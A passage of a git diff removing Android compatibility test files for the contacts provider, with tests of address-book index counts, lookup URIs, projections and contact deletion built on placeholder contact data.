-            final Bundle extras = cursor.getExtras();
-            assertFalse(extras.containsKey(Contacts.EXTRA_ADDRESS_BOOK_INDEX_COUNTS));
-            assertFalse(extras.containsKey(Contacts.EXTRA_ADDRESS_BOOK_INDEX_TITLES));
-        } finally {
-            cursor.close();
-        }
-    }
-
-    public void testContactCounts_correctCountsReturned() throws Exception {
-        final String filterString = getFilterString(setupTestData());
-        final Uri uri = Contacts.CONTENT_URI.buildUpon()
-                .appendQueryParameter(Contacts.EXTRA_ADDRESS_BOOK_INDEX, "true").build();
-        final Cursor cursor = mResolver.query(uri, TEST_PROJECTION,
-                filterString, null, null);
-        try {
-            final Bundle extras = cursor.getExtras();
-            assertTrue(extras.containsKey(Contacts.EXTRA_ADDRESS_BOOK_INDEX_COUNTS));
-            assertTrue(extras.containsKey(Contacts.EXTRA_ADDRESS_BOOK_INDEX_TITLES));
-
-            final String[] expectedSections = new String[] {"A", "B", "C"};
-            final String sections[] =
-                    extras.getStringArray(Contacts.EXTRA_ADDRESS_BOOK_INDEX_TITLES);
-            assertTrue(Arrays.equals(expectedSections, sections));
-
-            final int[] expectedCounts = new int[] {2, 3, 1};
-            final int counts[] = extras.getIntArray(Contacts.EXTRA_ADDRESS_BOOK_INDEX_COUNTS);
-            assertTrue(Arrays.equals(expectedCounts, counts));
-        } finally {
-            cursor.close();
-        }
-    }
-
-    private String getFilterString(long... contactIds) {
-        StringBuilder sb = new StringBuilder();
-        sb.append(Contacts._ID + " in ");
-        sb.append("(");
-        for (int i = 0; i < contactIds.length; i++) {
-            if (i != 0) sb.append(",");
-            sb.append(contactIds[i]);
-        }
-        sb.append(")");
-        return sb.toString();
-    }
-
-    /**
-     * Setup the contacts database with temporary contacts used for testing. These contacts will
-     * be removed during teardown.
-     *
-     * @return An array of long values corresponding to the ids of the created contacts
-     *
-     * @throws Exception
-     */
-    private long[] setupTestData() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.DISPLAY_NAME, "Apple Pie")
-                .insert();
-        rawContact.load();
-        TestContact contact = rawContact.getContact().load();
-
-        TestRawContact rawContact2 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact2.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.DISPLAY_NAME, "Banana Split")
-                .insert();
-        rawContact2.load();
-        TestContact contact2 = rawContact2.getContact().load();
-
-        TestRawContact rawContact3 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact3.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.DISPLAY_NAME, "Blackberry Shortcake")
-                .insert();
-        rawContact3.load();
-        TestContact contact3 = rawContact3.getContact().load();
-
-        TestRawContact rawContact4 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact4.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.DISPLAY_NAME, "Cherry icecream")
-                .insert();
-        rawContact4.load();
-        TestContact contact4 = rawContact4.getContact().load();
-
-        TestRawContact rawContact5 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact5.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.DISPLAY_NAME, "Apricot Jam ")
-                .insert();
-        rawContact5.load();
-        TestContact contact5 = rawContact5.getContact().load();
-
-        TestRawContact rawContact6 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact6.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.DISPLAY_NAME, "Blackcurrant Pie ")
-                .insert();
-        rawContact6.load();
-        TestContact contact6 = rawContact6.getContact().load();
-
-        return new long[] {contact.getId(), contact2.getId(), contact3.getId(), contact4.getId(),
-                contact5.getId(), contact6.getId()};
-    }
-}
-
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_ContactsTest.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_ContactsTest.java
deleted file mode 100644
index f8f610a..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_ContactsTest.java
+++ /dev/null
@@ -1,254 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.pm.ResolveInfo;
-import android.net.Uri;
-import android.os.SystemClock;
-import android.provider.ContactsContract;
-import android.provider.ContactsContract.CommonDataKinds.StructuredName;
-import android.provider.ContactsContract.Contacts;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestContact;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestRawContact;
-import android.provider.cts.contacts.ContactUtil;
-import android.provider.cts.contacts.DatabaseAsserts;
-import android.provider.cts.contacts.RawContactUtil;
-import android.provider.cts.contacts.account.StaticAccountAuthenticator;
-import android.test.AndroidTestCase;
-
-import java.util.List;
-
-public class ContactsContract_ContactsTest extends AndroidTestCase {
-
-    private StaticAccountAuthenticator mAuthenticator;
-    private ContentResolver mResolver;
-    private ContactsContract_TestDataBuilder mBuilder;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResolver = getContext().getContentResolver();
-        ContentProviderClient provider =
-                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
-        mBuilder = new ContactsContract_TestDataBuilder(provider);
-
-        mAuthenticator = new StaticAccountAuthenticator(getContext());
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        mBuilder.cleanup();
-    }
-
-    public void testMarkAsContacted() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact().insert().load();
-        TestContact contact = rawContact.getContact().load();
-        long oldLastContacted = contact.getLong(Contacts.LAST_TIME_CONTACTED);
-
-        Contacts.markAsContacted(mResolver, contact.getId());
-        contact.load(); // Reload
-
-        long lastContacted = contact.getLong(Contacts.LAST_TIME_CONTACTED);
-        assertTrue(oldLastContacted < lastContacted);
-        oldLastContacted = lastContacted;
-
-        Contacts.markAsContacted(mResolver, contact.getId());
-        contact.load();
-
-        lastContacted = contact.getLong(Contacts.LAST_TIME_CONTACTED);
-        assertTrue(oldLastContacted < lastContacted);
-    }
-
-    public void testContentUri() {
-        Context context = getContext();
-        PackageManager packageManager = context.getPackageManager();
-        Intent intent = new Intent(Intent.ACTION_VIEW, ContactsContract.Contacts.CONTENT_URI);
-        List<ResolveInfo> resolveInfos = packageManager.queryIntentActivities(intent, 0);
-        assertFalse("Device does not support the activity intent: " + intent,
-                resolveInfos.isEmpty());
-    }
-
-    public void testLookupUri() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact().insert().load();
-        TestContact contact = rawContact.getContact().load();
-
-        Uri contactUri = contact.getUri();
-        long contactId = contact.getId();
-        String lookupKey = contact.getString(Contacts.LOOKUP_KEY);
-
-        Uri lookupUri = Contacts.getLookupUri(contactId, lookupKey);
-        assertEquals(ContentUris.withAppendedId(Uri.withAppendedPath(Contacts.CONTENT_LOOKUP_URI,
-                lookupKey), contactId), lookupUri);
-
-        Uri nullLookupUri = Contacts.getLookupUri(contactId, null);
-        assertNull(nullLookupUri);
-
-        Uri emptyLookupUri = Contacts.getLookupUri(contactId, "");
-        assertNull(emptyLookupUri);
-
-        Uri lookupUri2 = Contacts.getLookupUri(mResolver, contactUri);
-        assertEquals(lookupUri, lookupUri2);
-
-        Uri contactUri2 = Contacts.lookupContact(mResolver, lookupUri);
-        assertEquals(contactUri, contactUri2);
-    }
-
-    public void testInsert_isUnsupported() {
-        DatabaseAsserts.assertInsertIsUnsupported(mResolver, Contacts.CONTENT_URI);
-    }
-
-    public void testContactDelete_removesContactRecord() {
-        assertContactCreateDelete();
-    }
-
-    public void testContactDelete_hasDeleteLog() {
-        long start = System.currentTimeMillis();
-        DatabaseAsserts.ContactIdPair ids = assertContactCreateDelete();
-        DatabaseAsserts.assertHasDeleteLogGreaterThan(mResolver, ids.mContactId, start);
-
-        // Clean up. Must also remove raw contact.
-        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
-    }
-
-    public void testContactDelete_marksRawContactsForDeletion() {
-        DatabaseAsserts.ContactIdPair ids = assertContactCreateDelete();
-
-        String[] projection = new String[] {
-                ContactsContract.RawContacts.DIRTY,
-                ContactsContract.RawContacts.DELETED
-        };
-        List<String[]> records = RawContactUtil.queryByContactId(mResolver, ids.mContactId,
-                projection);
-        for (String[] arr : records) {
-            assertEquals("1", arr[0]);
-            assertEquals("1", arr[1]);
-        }
-
-        // Clean up
-        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
-    }
-
-    public void testContactUpdate_updatesContactUpdatedTimestamp() {
-        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
-
-        long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
-
-        ContentValues values = new ContentValues();
-        values.put(ContactsContract.Contacts.STARRED, 1);
-
-        SystemClock.sleep(1);
-        ContactUtil.update(mResolver, ids.mContactId, values);
-
-        long newTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
-        assertTrue(newTime > baseTime);
-
-        // Clean up
-        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
-    }
-
-    public void testProjection() throws Exception {
-        final TestRawContact rawContact = mBuilder.newRawContact().insert().load();
-        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.GIVEN_NAME, "xxx")
-                .insert();
-
-        final TestContact contact = rawContact.getContact().load();
-        final long contactId = contact.getId();
-        final String lookupKey = contact.getString(Contacts.LOOKUP_KEY);
-
-        final String[] PROJECTION = new String[]{
-                Contacts._ID,
-                Contacts.DISPLAY_NAME,
-                Contacts.DISPLAY_NAME_PRIMARY,
-                Contacts.DISPLAY_NAME_ALTERNATIVE,
-                Contacts.DISPLAY_NAME_SOURCE,
-                Contacts.PHONETIC_NAME,
-                Contacts.PHONETIC_NAME_STYLE,
-                Contacts.SORT_KEY_PRIMARY,
-                Contacts.SORT_KEY_ALTERNATIVE,
-                Contacts.LAST_TIME_CONTACTED,
-                Contacts.TIMES_CONTACTED,
-                Contacts.STARRED,
-                Contacts.PINNED,
-                Contacts.IN_DEFAULT_DIRECTORY,
-                Contacts.IN_VISIBLE_GROUP,
-                Contacts.PHOTO_ID,
-                Contacts.PHOTO_FILE_ID,
-                Contacts.PHOTO_URI,
-                Contacts.PHOTO_THUMBNAIL_URI,
-                Contacts.CUSTOM_RINGTONE,
-                Contacts.HAS_PHONE_NUMBER,
-                Contacts.SEND_TO_VOICEMAIL,
-                Contacts.IS_USER_PROFILE,
-                Contacts.LOOKUP_KEY,
-                Contacts.NAME_RAW_CONTACT_ID,
-                Contacts.CONTACT_PRESENCE,
-                Contacts.CONTACT_CHAT_CAPABILITY,
-                Contacts.CONTACT_STATUS,
-                Contacts.CONTACT_STATUS_TIMESTAMP,
-                Contacts.CONTACT_STATUS_RES_PACKAGE,
-                Contacts.CONTACT_STATUS_LABEL,
-                Contacts.CONTACT_STATUS_ICON,
-                Contacts.CONTACT_LAST_UPDATED_TIMESTAMP
-        };
-
-        // Contacts.CONTENT_URI
-        DatabaseAsserts.checkProjection(mResolver,
-                Contacts.CONTENT_URI,
-                PROJECTION,
-                new long[]{contact.getId()}
-        );
-
-        // Contacts.CONTENT_FILTER_URI
-        DatabaseAsserts.checkProjection(mResolver,
-                Contacts.CONTENT_FILTER_URI.buildUpon().appendEncodedPath("xxx").build(),
-                PROJECTION,
-                new long[]{contact.getId()}
-        );
-
-        // Contacts.CONTENT_LOOKUP_URI
-        DatabaseAsserts.checkProjection(mResolver,
-                Contacts.getLookupUri(contactId, lookupKey),
-                PROJECTION,
-                new long[]{contact.getId()}
-        );
-    }
-
-    /**
-     * Create a contact.  Delete it.  And assert that the contact record is no longer present.
-     *
-     * @return The contact id and raw contact id that was created.
-     */
-    private DatabaseAsserts.ContactIdPair assertContactCreateDelete() {
-        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
-
-        SystemClock.sleep(1);
-        ContactUtil.delete(mResolver, ids.mContactId);
-
-        assertFalse(ContactUtil.recordExistsForContactId(mResolver, ids.mContactId));
-
-        return ids;
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_DataTest.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_DataTest.java
deleted file mode 100644
index 33d3a28..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_DataTest.java
+++ /dev/null
@@ -1,774 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-
-import static android.provider.ContactsContract.CommonDataKinds;
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.net.Uri;
-import android.os.SystemClock;
-import android.provider.ContactsContract;
-import android.provider.ContactsContract.CommonDataKinds.Callable;
-import android.provider.ContactsContract.CommonDataKinds.Contactables;
-import android.provider.ContactsContract.CommonDataKinds.Email;
-import android.provider.ContactsContract.CommonDataKinds.GroupMembership;
-import android.provider.ContactsContract.CommonDataKinds.Organization;
-import android.provider.ContactsContract.CommonDataKinds.Phone;
-import android.provider.ContactsContract.CommonDataKinds.SipAddress;
-import android.provider.ContactsContract.CommonDataKinds.StructuredName;
-import android.provider.ContactsContract.Contacts;
-import android.provider.ContactsContract.Contacts.Entity;
-import android.provider.ContactsContract.Data;
-import android.provider.ContactsContract.RawContacts;
-import android.provider.ContactsContract.RawContactsEntity;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestContact;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestData;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestRawContact;
-import android.provider.cts.contacts.ContactUtil;
-import android.provider.cts.contacts.DataUtil;
-import android.provider.cts.contacts.DatabaseAsserts;
-import android.provider.cts.contacts.RawContactUtil;
-import android.test.InstrumentationTestCase;
-
-import java.util.ArrayList;
-
-public class ContactsContract_DataTest extends InstrumentationTestCase {
-    private ContentResolver mResolver;
-    private ContactsContract_TestDataBuilder mBuilder;
-
-    static final String[] DATA_PROJECTION = new String[]{
-            Data._ID,
-            Data.RAW_CONTACT_ID,
-            Data.CONTACT_ID,
-            Data.NAME_RAW_CONTACT_ID,
-            RawContacts.RAW_CONTACT_IS_USER_PROFILE,
-            Data.DATA1,
-            Data.DATA2,
-            Data.DATA3,
-            Data.DATA4,
-            Data.DATA5,
-            Data.DATA6,
-            Data.DATA7,
-            Data.DATA8,
-            Data.DATA9,
-            Data.DATA10,
-            Data.DATA11,
-            Data.DATA12,
-            Data.DATA13,
-            Data.DATA14,
-            Data.DATA15,
-            Data.CARRIER_PRESENCE,
-            Data.DATA_VERSION,
-            Data.IS_PRIMARY,
-            Data.IS_SUPER_PRIMARY,
-            Data.MIMETYPE,
-            Data.RES_PACKAGE,
-            Data.SYNC1,
-            Data.SYNC2,
-            Data.SYNC3,
-            Data.SYNC4,
-            GroupMembership.GROUP_SOURCE_ID,
-            Data.PRESENCE,
-            Data.CHAT_CAPABILITY,
-            Data.STATUS,
-            Data.STATUS_TIMESTAMP,
-            Data.STATUS_RES_PACKAGE,
-            Data.STATUS_LABEL,
-            Data.STATUS_ICON,
-            RawContacts.ACCOUNT_NAME,
-            RawContacts.ACCOUNT_TYPE,
-            RawContacts.DATA_SET,
-            RawContacts.ACCOUNT_TYPE_AND_DATA_SET,
-            RawContacts.DIRTY,
-            RawContacts.SOURCE_ID,
-            RawContacts.VERSION,
-            Contacts.CUSTOM_RINGTONE,
-            Contacts.DISPLAY_NAME,
-            Contacts.DISPLAY_NAME_ALTERNATIVE,
-            Contacts.DISPLAY_NAME_SOURCE,
-            Contacts.IN_DEFAULT_DIRECTORY,
-            Contacts.IN_VISIBLE_GROUP,
-            Contacts.LAST_TIME_CONTACTED,
-            Contacts.LOOKUP_KEY,
-            Contacts.PHONETIC_NAME,
-            Contacts.PHONETIC_NAME_STYLE,
-            Contacts.PHOTO_ID,
-            Contacts.PHOTO_FILE_ID,
-            Contacts.PHOTO_URI,
-            Contacts.PHOTO_THUMBNAIL_URI,
-            Contacts.SEND_TO_VOICEMAIL,
-            Contacts.SORT_KEY_ALTERNATIVE,
-            Contacts.SORT_KEY_PRIMARY,
-            Contacts.STARRED,
-            Contacts.PINNED,
-            Contacts.TIMES_CONTACTED,
-            Contacts.HAS_PHONE_NUMBER,
-            Contacts.CONTACT_LAST_UPDATED_TIMESTAMP,
-            Contacts.CONTACT_PRESENCE,
-            Contacts.CONTACT_CHAT_CAPABILITY,
-            Contacts.CONTACT_STATUS,
-            Contacts.CONTACT_STATUS_TIMESTAMP,
-            Contacts.CONTACT_STATUS_RES_PACKAGE,
-            Contacts.CONTACT_STATUS_LABEL,
-            Contacts.CONTACT_STATUS_ICON,
-            Data.TIMES_USED,
-            Data.LAST_TIME_USED};
-
-    static final String[] RAW_CONTACTS_ENTITY_PROJECTION = new String[]{
-    };
-
-    static final String[] NTITY_PROJECTION = new String[]{
-    };
-
-    private static ContentValues[] sContentValues = new ContentValues[7];
-    static {
-        ContentValues cv1 = new ContentValues();
-        cv1.put(Contacts.DISPLAY_NAME, "Hot Tamale");
-        cv1.put(Data.MIMETYPE, Email.CONTENT_ITEM_TYPE);
-        cv1.put(Email.DATA, "tamale@acme.com");
-        cv1.put(Email.TYPE, Email.TYPE_HOME);
-        sContentValues[0] = cv1;
-
-        ContentValues cv2 = new ContentValues();
-        cv2.put(Contacts.DISPLAY_NAME, "Hot Tamale");
-        cv2.put(Data.MIMETYPE, Phone.CONTENT_ITEM_TYPE);
-        cv2.put(Phone.DATA, "510-123-5769");
-        cv2.put(Phone.TYPE, Phone.TYPE_HOME);
-        sContentValues[1] = cv2;
-
-        ContentValues cv3 = new ContentValues();
-        cv3.put(Contacts.DISPLAY_NAME, "Hot Tamale");
-        cv3.put(Data.MIMETYPE, Email.CONTENT_ITEM_TYPE);
-        cv3.put(Email.DATA, "hot@google.com");
-        cv3.put(Email.TYPE, Email.TYPE_WORK);
-        sContentValues[2] = cv3;
-
-        ContentValues cv4 = new ContentValues();
-        cv4.put(Contacts.DISPLAY_NAME, "Cold Tamago");
-        cv4.put(Data.MIMETYPE, Email.CONTENT_ITEM_TYPE);
-        cv4.put(Email.DATA, "eggs@farmers.org");
-        cv4.put(Email.TYPE, Email.TYPE_HOME);
-        sContentValues[3] = cv4;
-
-        ContentValues cv5 = new ContentValues();
-        cv5.put(Contacts.DISPLAY_NAME, "John Doe");
-        cv5.put(Data.MIMETYPE, Email.CONTENT_ITEM_TYPE);
-        cv5.put(Email.DATA, "doeassociates@deer.com");
-        cv5.put(Email.TYPE, Email.TYPE_WORK);
-        sContentValues[4] = cv5;
-
-        ContentValues cv6 = new ContentValues();
-        cv6.put(Contacts.DISPLAY_NAME, "John Doe");
-        cv6.put(Data.MIMETYPE, Phone.CONTENT_ITEM_TYPE);
-        cv6.put(Phone.DATA, "518-354-1111");
-        cv6.put(Phone.TYPE, Phone.TYPE_HOME);
-        sContentValues[5] = cv6;
-
-        ContentValues cv7 = new ContentValues();
-        cv7.put(Contacts.DISPLAY_NAME, "Cold Tamago");
-        cv7.put(Data.MIMETYPE, SipAddress.CONTENT_ITEM_TYPE);
-        cv7.put(SipAddress.DATA, "mysip@sipaddress.com");
-        cv7.put(SipAddress.TYPE, SipAddress.TYPE_HOME);
-        sContentValues[6] = cv7;
-    }
-
-    private TestRawContact[] mRawContacts = new TestRawContact[3];
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResolver = getInstrumentation().getTargetContext().getContentResolver();
-        ContentProviderClient provider =
-                mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
-        mBuilder = new ContactsContract_TestDataBuilder(provider);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        mBuilder.cleanup();
-    }
-
-    public void testGetLookupUriBySourceId() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_type")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .with(RawContacts.SOURCE_ID, "source_id")
-                .insert();
-
-        // TODO remove this. The method under test is currently broken: it will not
-        // work without at least one data row in the raw contact.
-        TestData data = rawContact.newDataRow(CommonDataKinds.StructuredName.CONTENT_ITEM_TYPE)
-                .with(CommonDataKinds.StructuredName.DISPLAY_NAME, "test name")
-                .insert();
-
-        Uri lookupUri = Data.getContactLookupUri(mResolver, data.getUri());
-        assertNotNull("Could not produce a lookup URI", lookupUri);
-
-        TestContact lookupContact = mBuilder.newContact().setUri(lookupUri).load();
-        assertEquals("Lookup URI matched the wrong contact",
-                lookupContact.getId(), data.load().getRawContact().load().getContactId());
-    }
-
-    public void testDataProjection() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_type")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .with(RawContacts.SOURCE_ID, "source_id")
-                .insert();
-        TestData data = rawContact.newDataRow(CommonDataKinds.StructuredName.CONTENT_ITEM_TYPE)
-                .with(CommonDataKinds.StructuredName.DISPLAY_NAME, "test name")
-                .insert();
-
-        DatabaseAsserts.checkProjection(mResolver, Data.CONTENT_URI,
-                DATA_PROJECTION,
-                new long[]{data.load().getId()}
-        );
-    }
-
-    public void testRawContactsEntityProjection() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_type")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .with(RawContacts.SOURCE_ID, "source_id")
-                .insert();
-        TestData data = rawContact.newDataRow(CommonDataKinds.StructuredName.CONTENT_ITEM_TYPE)
-                .with(CommonDataKinds.StructuredName.DISPLAY_NAME, "test name")
-                .insert();
-
-        DatabaseAsserts.checkProjection(mResolver, RawContactsEntity.CONTENT_URI,
-                new String[]{
-                        RawContacts._ID,
-                        RawContacts.CONTACT_ID,
-                        RawContacts.Entity.DATA_ID,
-                        RawContacts.DELETED,
-                        RawContacts.STARRED,
-                        RawContacts.RAW_CONTACT_IS_USER_PROFILE,
-                        RawContacts.ACCOUNT_NAME,
-                        RawContacts.ACCOUNT_TYPE,
-                        RawContacts.DATA_SET,
-                        RawContacts.ACCOUNT_TYPE_AND_DATA_SET,
-                        RawContacts.DIRTY,
-                        RawContacts.SOURCE_ID,
-                        RawContacts.BACKUP_ID,
-                        RawContacts.VERSION,
-                        RawContacts.SYNC1,
-                        RawContacts.SYNC2,
-                        RawContacts.SYNC3,
-                        RawContacts.SYNC4,
-                        Data.DATA1,
-                        Data.DATA2,
-                        Data.DATA3,
-                        Data.DATA4,
-                        Data.DATA5,
-                        Data.DATA6,
-                        Data.DATA7,
-                        Data.DATA8,
-                        Data.DATA9,
-                        Data.DATA10,
-                        Data.DATA11,
-                        Data.DATA12,
-                        Data.DATA13,
-                        Data.DATA14,
-                        Data.DATA15,
-                        Data.CARRIER_PRESENCE,
-                        Data.DATA_VERSION,
-                        Data.IS_PRIMARY,
-                        Data.IS_SUPER_PRIMARY,
-                        Data.MIMETYPE,
-                        Data.RES_PACKAGE,
-                        Data.SYNC1,
-                        Data.SYNC2,
-                        Data.SYNC3,
-                        Data.SYNC4,
-                        GroupMembership.GROUP_SOURCE_ID},
-                new long[]{rawContact.getId()}
-        );
-    }
-
-    public void testEntityProjection() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_type")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .with(RawContacts.SOURCE_ID, "source_id")
-                .insert();
-        TestData data = rawContact.newDataRow(CommonDataKinds.StructuredName.CONTENT_ITEM_TYPE)
-                .with(CommonDataKinds.StructuredName.DISPLAY_NAME, "test name")
-                .insert();
-        long contactId = rawContact.load().getContactId();
-
-        DatabaseAsserts.checkProjection(mResolver, Contacts.CONTENT_URI.buildUpon().appendPath(
-                        String.valueOf(contactId)).appendPath(
-                        Entity.CONTENT_DIRECTORY).build(),
-                new String[]{
-                        Contacts.Entity._ID,
-                        Contacts.Entity.CONTACT_ID,
-                        Contacts.Entity.RAW_CONTACT_ID,
-                        Contacts.Entity.DATA_ID,
-                        Contacts.Entity.NAME_RAW_CONTACT_ID,
-                        Contacts.Entity.DELETED,
-                        Contacts.IS_USER_PROFILE,
-                        Contacts.CUSTOM_RINGTONE,
-                        Contacts.DISPLAY_NAME,
-                        Contacts.DISPLAY_NAME_ALTERNATIVE,
-                        Contacts.DISPLAY_NAME_SOURCE,
-                        Contacts.IN_DEFAULT_DIRECTORY,
-                        Contacts.IN_VISIBLE_GROUP,
-                        Contacts.LAST_TIME_CONTACTED,
-                        Contacts.LOOKUP_KEY,
-                        Contacts.PHONETIC_NAME,
-                        Contacts.PHONETIC_NAME_STYLE,
-                        Contacts.PHOTO_ID,
-                        Contacts.PHOTO_FILE_ID,
-                        Contacts.PHOTO_URI,
-                        Contacts.PHOTO_THUMBNAIL_URI,
-                        Contacts.SEND_TO_VOICEMAIL,
-                        Contacts.SORT_KEY_ALTERNATIVE,
-                        Contacts.SORT_KEY_PRIMARY,
-                        Contacts.STARRED,
-                        Contacts.PINNED,
-                        Contacts.TIMES_CONTACTED,
-                        Contacts.HAS_PHONE_NUMBER,
-                        Contacts.CONTACT_LAST_UPDATED_TIMESTAMP,
-                        Contacts.CONTACT_PRESENCE,
-                        Contacts.CONTACT_CHAT_CAPABILITY,
-                        Contacts.CONTACT_STATUS,
-                        Contacts.CONTACT_STATUS_TIMESTAMP,
-                        Contacts.CONTACT_STATUS_RES_PACKAGE,
-                        Contacts.CONTACT_STATUS_LABEL,
-                        Contacts.CONTACT_STATUS_ICON,
-                        RawContacts.ACCOUNT_NAME,
-                        RawContacts.ACCOUNT_TYPE,
-                        RawContacts.DATA_SET,
-                        RawContacts.ACCOUNT_TYPE_AND_DATA_SET,
-                        RawContacts.DIRTY,
-                        RawContacts.SOURCE_ID,
-                        RawContacts.BACKUP_ID,
-                        RawContacts.VERSION,
-                        RawContacts.SYNC1,
-                        RawContacts.SYNC2,
-                        RawContacts.SYNC3,
-                        RawContacts.SYNC4,
-                        Data.DATA1,
-                        Data.DATA2,
-                        Data.DATA3,
-                        Data.DATA4,
-                        Data.DATA5,
-                        Data.DATA6,
-                        Data.DATA7,
-                        Data.DATA8,
-                        Data.DATA9,
-                        Data.DATA10,
-                        Data.DATA11,
-                        Data.DATA12,
-                        Data.DATA13,
-                        Data.DATA14,
-                        Data.DATA15,
-                        Data.CARRIER_PRESENCE,
-                        Data.DATA_VERSION,
-                        Data.IS_PRIMARY,
-                        Data.IS_SUPER_PRIMARY,
-                        Data.MIMETYPE,
-                        Data.RES_PACKAGE,
-                        Data.SYNC1,
-                        Data.SYNC2,
-                        Data.SYNC3,
-                        Data.SYNC4,
-                        GroupMembership.GROUP_SOURCE_ID,
-                        Data.PRESENCE,
-                        Data.CHAT_CAPABILITY,
-                        Data.STATUS,
-                        Data.STATUS_TIMESTAMP,
-                        Data.STATUS_RES_PACKAGE,
-                        Data.STATUS_LABEL,
-                        Data.STATUS_ICON,
-                        Data.TIMES_USED,
-                        Data.LAST_TIME_USED},
-                new long[]{contactId}
-        );
-    }
-
-    public void testGetLookupUriByDisplayName() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_type")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        TestData data = rawContact.newDataRow(CommonDataKinds.StructuredName.CONTENT_ITEM_TYPE)
-                .with(CommonDataKinds.StructuredName.DISPLAY_NAME, "test name")
-                .insert();
-
-        Uri lookupUri = Data.getContactLookupUri(mResolver, data.getUri());
-        assertNotNull("Could not produce a lookup URI", lookupUri);
-
-        TestContact lookupContact = mBuilder.newContact().setUri(lookupUri).load();
-        assertEquals("Lookup URI matched the wrong contact",
-                lookupContact.getId(), data.load().getRawContact().load().getContactId());
-    }
-
-    public void testContactablesUri() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact()
